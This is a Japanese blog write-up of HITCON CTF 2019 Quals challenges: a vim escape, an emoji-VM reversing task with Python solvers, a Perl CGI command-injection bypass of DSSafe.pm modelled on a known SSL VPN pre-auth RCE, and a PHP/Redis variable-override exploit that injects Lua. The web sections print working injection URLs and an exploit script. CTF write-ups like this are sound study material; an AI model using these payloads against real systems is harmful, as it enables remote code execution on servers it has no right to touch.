st98 の日記帳


[ctf] HITCON CTF 2019 Quals の write-up

10 月 12 日から 10 月 14 日にかけて開催された HITCON CTF 2019 Quals に、チーム Harekaze として参加しました。最終的にチームで 953 点を獲得し、順位は得点 662 チーム中 64 位でした。うち、私は 4 問を解いて 705 点を入れました。

以下、私が解いた問題の write-up です。

Misc

Revenge of Welcome (105)

It’s an easy vim escape.

(SSH の接続情報)

SSH クライアントで問題サーバに接続してみると、Vim の画面が表示されました。挿入モードになっているようなので、とりあえずノーマルモードに移行するために Esc キーを押してみましたが、すぐに挿入モードに戻ってしまいます。

様々なショートカットキーを試していたところ、Ctrl-L を押すことでなぜかノーマルモードに戻ることができました。:!ls を入力すると flag というファイルの存在が確認でき、:!cat flag でフラグが得られました。

hitcon{accidentally enter vim -y and can't leave Q_Q}

Reverse

EmojiVM (187)

A simple VM that takes emojis as input! Try figure out the secret!

添付ファイル: emojivm-d967bd1b53b927820de27960f8eec7d7833150ca.zip

与えられた ZIP ファイルを展開すると、emojivm_misc emojivm_pwn emojivm_reverse というディレクトリが出てきました。Misc カテゴリと Pwn カテゴリにそれぞれ同じ名前の問題がありますが、今回は Reverse カテゴリなので emojivm_reverse を見ていきます。

emojivm_reverse には chal.evm (UTF-8 でエンコードされた、絵文字のみが含まれるテキストファイル)、emojivm (ELF)、readme.txt (./emojivm ./chal.evm という内容) の 3 つのファイルがありました。chal.evmemojivm という VM で実行ができるバイトコード列のようです。

私が問題を見た時点で既に megumish さんによって絵文字が持つ意味 (オペコードなど) が解析されていたので、この解析結果を利用してまず Python で VM の実装をしました。

# coding: utf-8
import sys

DEBUG = True

DIGITS = '\U0001f600\U0001f601\U0001f602\U0001f923\U0001f61c\U0001f604\U0001f605\U0001f606\U0001f609\U0001f60a\U0001f60d'
def read_int(program):
  return DIGITS.index(program.read(1))

def run(program, stack, memory):
  while True:
    c = program.read(1)
    if c == '':
      break

    if c == '\U0001f233': # 0x1,NOP
      pass
    elif c == '\U00002795': # 0x2,ADD
      stack.append(stack.pop() + stack.pop())
    elif c == '\U00002796': # 0x3,SUB
      stack.append(stack.pop() - stack.pop())
    elif c == '\U0000274c': # 0x4,MUL
      stack.append(stack.pop() * stack.pop())
    elif c == '\U00002753': # 0x5,MOD
      stack.append(stack.pop() % stack.pop())
    elif c == '\U0000274e': # 0x6,XOR
      stack.append(stack.pop() ^ stack.pop())
    elif c == '\U0001f46b': # 0x7,AND
      stack.append(stack.pop() & stack.pop())
    elif c == '\U0001f480': # 0x8,NEQ
      a, b = stack.pop(), stack.pop()
      stack.append(a != b)
    elif c == '\U0001f4af': # 0x9,EQ
      a, b = stack.pop(), stack.pop()
      if DEBUG:
        print('{:04x}: EQ {}, {}'.format(program.tell(), a, b))
      stack.append(a == b)
    elif c == '\U0001f680': # 0xa,GOTO
      program.seek(stack.pop())
    elif c == '\U0001f236': # 0xb,IF_TRUE_THEN_JUMP <op_pos> <cond>
      addr, cond = stack.pop(), stack.pop()
      if cond:
        program.seek(addr)
    elif c == '\U0001f21a': # 0xc,IF_FALSE_THEN_JUMP <op_pos> <cond>
      addr, cond = stack.pop(), stack.pop()
      if not cond:
        program.seek(addr)
    elif c == '\U000023ec': # 0xd,PUSH
      stack.append(read_int(program))
    elif c == '\U0001f51d': # 0xe,POP
      acc = stack.pop()
    elif c == '\U0001f4e4': # 0xf,LOAD
      addr, index = stack.pop(), stack.pop()
      stack.append(memory[addr][index])
    elif c == '\U0001f4e5': # 0x10,STORE
      addr, index, value = stack.pop(), stack.pop(), stack.pop()
      memory[addr][index] = value
    elif c == '\U0001f195': # 0x11,NEW
      memory.append([0] * stack.pop())
      stack.append(len(memory) - 1)
    elif c == '\U0001f193': # 0x12,FREE
      memory[stack.pop()] = None
    elif c == '\U0001f4c4': # 0x13,READ
      inp = input('').strip().encode() + b'\0'
      memory[stack.pop()] = inp
    elif c == '\U0001f4dd': # 0x14,WRITE
      s = bytes(memory[stack.pop()])
      sys.stdout.write(s[:s.index(b'\0')].decode('utf-8'))
    elif c == '\U0001f521': # 0x15,TO_STR
      # TODO
      pass
    elif c == '\U0001f522': # 0x16,TO_INT
      # TODO
      pass
    elif c == '\U0001f6d1': # 0x17,EXIT
      return

if __name__ == '__main__':
  import io

  if len(sys.argv) < 2:
    print('[usage] python {} <program>'.format(sys.argv[0]))
    sys.exit(1)

  with open(sys.argv[1], 'rb') as f:
    program = f.read().decode('utf-8')

  run(io.StringIO(program), [], [])

EQ というオペコードが来たときにオペランドを出力するようにしています。では、試しに実行してみましょう。

$ python3 vm.py chal.evm 
*************************************
*                                   *
*             Welcome to            *
*        EmojiVM 😀😁🤣🤔🤨😮       *
*       The Reverse Challenge       *
*                                   *
*************************************

Please input the secret: abcd
1aa9: EQ 0, 97
1ae1: EQ 10, 97
1aa9: EQ 0, 98
1ae1: EQ 10, 98
1aa9: EQ 0, 99
1ae1: EQ 10, 99
1aa9: EQ 0, 100
1ae1: EQ 10, 100
1aa9: EQ 0, 0
1b9a: EQ 24, 4
😭
$ python3 vm.py chal.evm 
*************************************
*                                   *
*             Welcome to            *
*        EmojiVM 😀😁🤣🤔🤨😮       *
*       The Reverse Challenge       *
*                                   *
*************************************

Please input the secret: abcde
1aa9: EQ 0, 97
1ae1: EQ 10, 97
1aa9: EQ 0, 98
1ae1: EQ 10, 98
1aa9: EQ 0, 99
1ae1: EQ 10, 99
1aa9: EQ 0, 100
1ae1: EQ 10, 100
1aa9: EQ 0, 101
1ae1: EQ 10, 101
1aa9: EQ 0, 0
1b9a: EQ 24, 5
😭

1 文字ずつ \0\n でないかループでチェックしたあと、24 と入力した文字数を比較しています。24 文字の文字列を入力してみましょう。

$ python3 vm.py chal.evm 
︙
Please input the secret: abcdefghijklmnopqrstuvwx
︙
1aa9: EQ 0, 120
1ae1: EQ 10, 120
1aa9: EQ 0, 0
1b9a: EQ 24, 24
1bdc: EQ 0, 1
1bdc: EQ 0, 2
1bdc: EQ 0, 3
1bdc: EQ 0, 4
1bdc: EQ 0, 0
1c8f: EQ 101, 45

0x1b9a の文字数チェックより先に進むことができました。入力した文字列の 5 文字目の 101 (ASCII コードで e) と 45 (-) が比較されています。e- に変えてもう一度試してみましょう。

$ python3 vm.py chal.evm 
︙
Please input the secret: abcd-fghijklmnopqrstuvwx
︙
1bdc: EQ 0, 1
1bdc: EQ 0, 2
1bdc: EQ 0, 3
1bdc: EQ 0, 4
1bdc: EQ 0, 0
1c8f: EQ 45, 45
1bdc: EQ 0, 1
1bdc: EQ 0, 2
1bdc: EQ 0, 3
1bdc: EQ 0, 4
1bdc: EQ 0, 0
1c8f: EQ 106, 45

今度は 10 文字目の 106 (j) と 45 (-) が比較されています。これを繰り返して、abcd-fghi-klmn-pqrs-uvwx のように 4 文字ごとに - を入れることで 0x1c8f より先に進むことができました。

$ python3 vm.py chal.evm 
︙
Please input the secret: abcd-fghi-klmn-pqrs-uvwx
︙
1faa: EQ 142, 127
1faa: EQ 99, 93
1faa: EQ 205, 199
1faa: EQ 18, 5
1faa: EQ 75, 75
︙
20a4: EQ 24, -16
😭
$ python3 vm.py chal.evm 
︙
Please input the secret: bbcd-fghi-klmn-pqrs-uvwx
︙
1faa: EQ 142, 128
1faa: EQ 99, 93
1faa: EQ 205, 199
1faa: EQ 18, 5
1faa: EQ 75, 75
1faa: EQ 88, 89
︙
20a4: EQ 24, -16
😭

1 文字ずつ、謎の処理がなされた上で謎のバイト列と比較がされているようです。1 文字ずつブルートフォースして、EQTrue になる回数が最も多い文字が正解であるとみなすというソルバを書きましょう。

# coding: utf-8
import re
import sys

DIGITS = '\U0001f600\U0001f601\U0001f602\U0001f923\U0001f61c\U0001f604\U0001f605\U0001f606\U0001f609\U0001f60a\U0001f60d'
def read_int(program):
  return DIGITS.index(program.read(1))

def run(program, stack, memory, inp):
  res = 0

  while True:
    c = program.read(1)
    if c == '':
      break

    if c == '\U0001f233': # 0x1,NOP
      pass
    elif c == '\U00002795': # 0x2,ADD
      stack.append(stack.pop() + stack.pop())
    elif c == '\U00002796': # 0x3,SUB
      stack.append(stack.pop() - stack.pop())
    elif c == '\U0000274c': # 0x4,MUL
      stack.append(stack.pop() * stack.pop())
    elif c == '\U00002753': # 0x5,MOD
      stack.append(stack.pop() % stack.pop())
    elif c == '\U0000274e': # 0x6,XOR
      stack.append(stack.pop() ^ stack.pop())
    elif c == '\U0001f46b': # 0x7,AND
      stack.append(stack.pop() & stack.pop())
    elif c == '\U0001f480': # 0x8,NEQ
      a, b = stack.pop(), stack.pop()
      stack.append(a != b)
    elif c == '\U0001f4af': # 0x9,EQ
      a, b = stack.pop(), stack.pop()
      if a == b:
        res += 1
      stack.append(a == b)
    elif c == '\U0001f680': # 0xa,GOTO
      program.seek(stack.pop())
    elif c == '\U0001f236': # 0xb,IF_TRUE_THEN_JUMP <op_pos> <cond>
      addr, cond = stack.pop(), stack.pop()
      if cond:
        program.seek(addr)
    elif c == '\U0001f21a': # 0xc,IF_FALSE_THEN_JUMP <op_pos> <cond>
      addr, cond = stack.pop(), stack.pop()
      if not cond:
        program.seek(addr)
    elif c == '\U000023ec': # 0xd,PUSH
      stack.append(read_int(program))
    elif c == '\U0001f51d': # 0xe,POP
      acc = stack.pop()
    elif c == '\U0001f4e4': # 0xf,LOAD
      addr, index = stack.pop(), stack.pop()
      stack.append(memory[addr][index])
    elif c == '\U0001f4e5': # 0x10,STORE
      addr, index, value = stack.pop(), stack.pop(), stack.pop()
      memory[addr][index] = value
    elif c == '\U0001f195': # 0x11,NEW
      memory.append([0] * stack.pop())
      stack.append(len(memory) - 1)
    elif c == '\U0001f193': # 0x12,FREE
      memory[stack.pop()] = None
    elif c == '\U0001f4c4': # 0x13,READ
      memory[stack.pop()] = inp.strip().encode() + b'\0'
    elif c == '\U0001f4dd': # 0x14,WRITE
      stack.pop()
    elif c == '\U0001f6d1': # 0x17,EXIT
      break

  return res

def hyphenize(s, x):
  t = (secret + c).ljust(x, 'A')
  return '-'.join(re.findall(r'.{4}', t))

if __name__ == '__main__':
  import io
  import string

  if len(sys.argv) < 2:
    print('[usage] python {} <program>'.format(sys.argv[0]))
    sys.exit(1)

  with open(sys.argv[1], 'rb') as f:
    program = f.read().decode('utf-8')
  
  secret = ''
  for _ in range(20):
    p = run(io.StringIO(program), [], [], 'AAAA-AAAA-AAAA-AAAA-AAAA'), 'A'

    for c in string.printable.strip():
      t = hyphenize((secret + c), 20)
      r = run(io.StringIO(program), [], [], t)
      if r > p[0]:
        p = r, c

    secret += p[1]
    print(hyphenize(secret, 20))
$ python3 solve.py chal.evm 
︙
plis-g1v3-me33-th3e-f14g
$ python3 vm.py chal.evm 
*************************************
*                                   *
*             Welcome to            *
*        EmojiVM 😀😁🤣🤔🤨😮       *
*       The Reverse Challenge       *
*                                   *
*************************************

Please input the secret: plis-g1v3-me33-th3e-f14g
😍
hitcon{R3vers3_Da_3moj1}

フラグが得られました。

hitcon{R3vers3_Da_3moj1}

🍊 (Web)

Virtual Public Network (183)

Vulnerable Point of Your Network :)

(URL)

与えられた URL にアクセスすると、以下のようなコメントが含まれる HTML が返ってきました。

<!-- Hint for you :)
     <a href='diag.cgi'>diag.cgi</a>
     <a href='DSSafe.pm'>DSSafe.pm</a>  -->

DSSafe.pm にアクセスすると、__parsecmd という引数がコマンドライン引数として危険なものを含んでいないかチェックする関数や、__parsecmd が引数を安全であると判定した場合にのみ、OS コマンドとして実行する system 関数が定義された Perl モジュールが返ってきました。

diag.cgi にアクセスすると以下のような Perl コードが返ってきました。

#!/usr/bin/perl
use lib '/var/www/html/';
use strict;

use CGI ();
use DSSafe;


sub tcpdump_options_syntax_check {
    my $options = shift;
    return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0;
    return undef;
}
 
print "Content-type: text/html\n\n";
 
my $options = CGI::param("options");
my $output = tcpdump_options_syntax_check($options);
 

# backdoor :)
my $tpl = CGI::param("tpl");
if (length $tpl > 0 && index($tpl, "..") == -1) {
    $tpl = "./tmp/" . $tpl . ".thtml";
    require($tpl);
}

system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") のようにユーザ入力がそのまま OS コマンドに展開されているので余裕そうに見えますが、前述の通り system__parsecmd で引数をチェックしているため、例えば a; curl (URL); # のような文字列を GET パラメータとして与えても curl (URL) を実行してはくれません。

いろいろググっていると、Infiltrating Corporate Intranet Like NSA: Pre-Auth RCE on Leading SSL VPNs という、まさに DSSafe.pm__parsecmd をバイパスする方法を紹介しているスライドが見つかりました。ユーザ入力が展開される箇所も system("tcpdump -d $options >/dev/null 2>&1"); と、今回の問題とほとんど同じです。

このスライドを参考に、 /cgi-bin/diag.cgi?options=-r$x=%22ls%20-la%20/%22,system$x%23%202%3E./tmp/neko.thtml%20%3C%20 にアクセスした後 /cgi-bin/diag.cgi?tpl=neko にアクセスすると、ルートディレクトリに FLAG という root だけが読めそうなファイルと、実行することでこれを読むことができそうな $READ_FLAG$ という実行ファイルが見つかりました。

total 104
-rwsr-sr-x   1 root root  8520 Oct 11 23:57 $READ_FLAG$
drwxr-xr-x  23 root root  4096 Oct 12 00:00 .
drwxr-xr-x  23 root root  4096 Oct 12 00:00 ..
-r--------   1 root root    49 Oct 11 23:59 FLAG
drwxr-xr-x   2 root root  4096 Oct  2 17:11 bin
drwxr-xr-x   3 root root  4096 Oct  2 17:12 boot
drwxr-xr-x  15 root root  2980 Oct 11 19:41 dev
drwxr-xr-x  97 root root  4096 Oct 12 09:15 etc
drwxr-xr-x   4 root root  4096 Oct 11 17:21 home
lrwxrwxrwx   1 root root    31 Oct  2 17:12 initrd.img -> boot/initrd.img-4.15.0-1051-aws
lrwxrwxrwx   1 root root    31 Oct  2 17:12 initrd.img.old -> boot/initrd.img-4.15.0-1051-aws
drwxr-xr-x  20 root root  4096 Oct 11 22:11 lib
drwxr-xr-x   2 root root  4096 Oct  2 17:09 lib64
drwx------   2 root root 16384 Oct  2 17:11 lost+found
drwxr-xr-x   2 root root  4096 Oct  2 17:08 media
drwxr-xr-x   2 root root  4096 Oct  2 17:08 mnt
drwxr-xr-x   3 root root  4096 Oct 11 17:32 opt
dr-xr-xr-x 138 root root     0 Oct 11 19:41 proc
drwx------   5 root root  4096 Oct 12 09:16 root
drwxr-xr-x  25 root root   960 Oct 12 15:46 run
drwxr-xr-x   2 root root  4096 Oct  2 17:11 sbin
drwxr-xr-x   5 root root  4096 Oct 11 17:04 snap
drwxr-xr-x   2 root root  4096 Oct  2 17:08 srv
dr-xr-xr-x  13 root root     0 Oct 11 23:59 sys
drwxrwxrwt   3 root root  4096 Oct 12 17:57 tmp
drwxr-xr-x  10 root root  4096 Oct 11 21:45 usr
drwxr-xr-x  14 root root  4096 Oct 11 21:45 var
lrwxrwxrwx   1 root root    28 Oct  2 17:12 vmlinuz -> boot/vmlinuz-4.15.0-1051-aws
lrwxrwxrwx   1 root root    28 Oct  2 17:12 vmlinuz.old -> boot/vmlinuz-4.15.0-1051-aws

"ls -la /""/\$READ_FLAG\$" に変えればよさそうな雰囲気がありますが、__parsecmd によって $ などの文字が制限されてしまっています。

__parsecmd に怒られない範囲で GET パラメータを eval するようにパラメータを変えて、/$READ_FLAG$ を実行するとフラグが得られました。

/cgi-bin/diag.cgi?options=-r$x=%22eval%20CGI::param%20q!a!%22,eval$x%23%202%3E./tmp/neko.thtml%20%3C%20
→ /cgi-bin/diag.cgi?tpl=neko&a=print%20`/*READ_FLAG*`
hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}

Luatic (230)

Win the jackpot!

(URL)

与えられた URL にアクセスし、luatic というボタンを押すと以下のようなソースコードが得られました。

<?php
    /* Author: Orange Tsai(@orange_8361) */
    include "config.php";

    foreach($_REQUEST as $k=>$v) {
        if( strlen($k) > 0 && preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k)  )
            exit('Shame on you');
    }

    foreach(Array('_GET','_POST') as $request) {
        foreach($$request as $k => $v) ${$k} = str_replace(str_split("[]{}=.'\""), "", $v);
    }

    if (strlen($token) == 0) highlight_file(__FILE__) and exit();
    if (!preg_match('/^[a-f0-9-]{36}$/', $token)) die('Shame on you');

    $guess = (int)$guess;
    if ($guess == 0) die('Shame on you');

    // Check team token
    $status = check_team_redis_status($token);
    if ($status == "Invalid token") die('Invalid token');
    if (strlen($status) == 0 || $status == 'Stopped') die('Start Redis first');

    // Get team redis port
    $port = get_team_redis_port($token);
    if ((int)$port < 1024) die('Try again');
    
    // Connect, we rename insecure commands
    // rename-command CONFIG ""
    // rename-command SCRIPT ""
    // rename-command MODULE ""
    // rename-command SLAVEOF ""
    // rename-command REPLICAOF ""
    // rename-command SET $MY_SET_COMMAND
    $redis = new Redis();
    $redis->connect("127.0.0.1", $port);
    if (!$redis->auth($token)) die('Auth fail');

    // Check availability
    $redis->rawCommand($MY_SET_COMMAND, $TEST_KEY, $TEST_VALUE);
    if ($redis->get($TEST_KEY) !== $TEST_VALUE) die('Something Wrong?');

    // Lottery!
    $LUA_LOTTERY = "math.randomseed(ARGV[1]) for i=0, ARGV[2] do math.random() end return math.random(2^31-1)";
    $seed  = random_int(0, 0xffffffff / 2);
    $count = random_int(5, 10);
    $result = $redis->eval($LUA_LOTTERY, array($seed, $count));

    sleep(3); // Slow down...
    if ((int)$result === $guess)
        die("Congratulations, the flag is $FLAG");
    die(":(");

最初に $_REQUEST のキーが FLAGTEST_ などで始まっていないか確認した後、パラメータに含まれる一部の文字 ([]{}=.'") を削除した上で extract($_REQUEST) のような感じで GET パラメータなどを変数として展開しています。

その後ユーザ入力として与えられた $token (スコアサーバで事前に発行された、チームごとに固有のトークンが入る変数) を使って Redis サーバが立ち上がっているかチェックし、ポート番号を取得して接続し、ログインしています。恐らく、チームごとに別の Redis サーバを用意しているためにこのような処理をしているでしょう。

Check availability の部分では SET $TEST_KEY $TEST_VALUE (ただし、SETrename-command によって別の文字列になっている) で書き込んだあと、GET $TEST_KEY でちゃんと書き換えられたか確認するという一見意味のない処理をしています。これは恐らく $MY_SET_COMMAND が別のコマンドに書き換えられていないかチェックするためでしょう。

最後に Redis 側で Lua コードによって疑似乱数を取得し、もしこれとユーザ入力として与えられた $guess が一致していればフラグを表示しています。疑似乱数の範囲は math.random(2^31-1) を見ればわかるように広く、シード値も PHP 側で random_int(0, 0xffffffff / 2) で決定しており、推測は困難です。

$MY_SET_COMMAND$TEST_KEY など名前が大文字と _ のみで構成される変数は config.php で定義されているのでしょう。最初の preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) のために、ユーザが操作できるのは $guess$token ぐらいしかなさそうに見えます。が、なんとかして書き換えられないでしょうか。

いろいろ試していると、最初の preg_match('/^(FLAG|MY_|TEST_|GLOBALS)/i',$k) は文字列の頭だけをチェックしていること、展開時には $_GET を展開した後に $_POST を展開するという順番になっていることから、_POST[MY_SET_COMMAND]=EVAL のような GET パラメータを与えることで $MY_SET_COMMAND を書き換えられることがわかりました。

フラグを得るには math.random(2^31-1) の返り値を推測する必要がありますが、例えば math.random を別の関数に書き換えることで返り値を操作できないでしょうか。先程の方法で MY_SET_COMMANDEVAL に、TEST_KEYfunction math.random() return 123 end に、TEST_VALUE0 にすればよさそう…ですが、前述の通り []{}=.'" は消されてしまっています。

いろいろ試していると、string.char(0x41)tostring(1):char(0x41):sub(2) のように "1" という文字列のメソッドとして string.char を呼び出したあと、string.sub で最初の "1" 部分を削除することで代替できることがわかりました。これによって function math.random() return 123 end という文字列を作り、loadstring(…)() のような形で eval 相当のことをすれば、[]{}=.'" が使えないという制限はバイパスできそうです。

最終的に、以下のようなコードでフラグが得られました。

import requests
import urllib.parse
URL = '(省略)'
TOKEN = '(省略)'

def go(args):
  url = URL + '&'.join(k + '=' + urllib.parse.quote(v) for k, v in args.items())
  print(url)
  r = requests.get(url)
  print(r.content.decode())

payload = 'function math.random() return 123 end'
payload = 'loadstring(tostring(1):char({}):sub(2))()'.format(','.join(str(ord(c)) for c in payload))

go({
  'token': TOKEN,
  'guess': '123',
  '_POST[MY_SET_COMMAND]': 'EVAL',
  '_POST[TEST_KEY]': payload,
  '_POST[TEST_VALUE]': '0'
})
go({
  'token': TOKEN,
  'guess': '123'
})
$ python3 solve.py
http://(省略)/luatic.php?token=(省略)&guess=123&_POST[MY_SET_COMMAND]=EVAL&_POST[TEST_KEY]=loadstring%28tostring%281%29%3Achar%28102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C32%2C109%2C97%2C116%2C104%2C46%2C114%2C97%2C110%2C100%2C111%2C109%2C40%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C49%2C50%2C51%2C32%2C101%2C110%2C100%29%3Asub%282%29%29%28%29&_POST[TEST_VALUE]=0
Something Wrong?
http://(省略)/luatic.php?token=(省略)&guess=123
Congratulations, the flag is hitcon{Lua^H Red1s 1s m4g1c!!!}
hitcon{Lua^H Red1s 1s m4g1c!!!}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳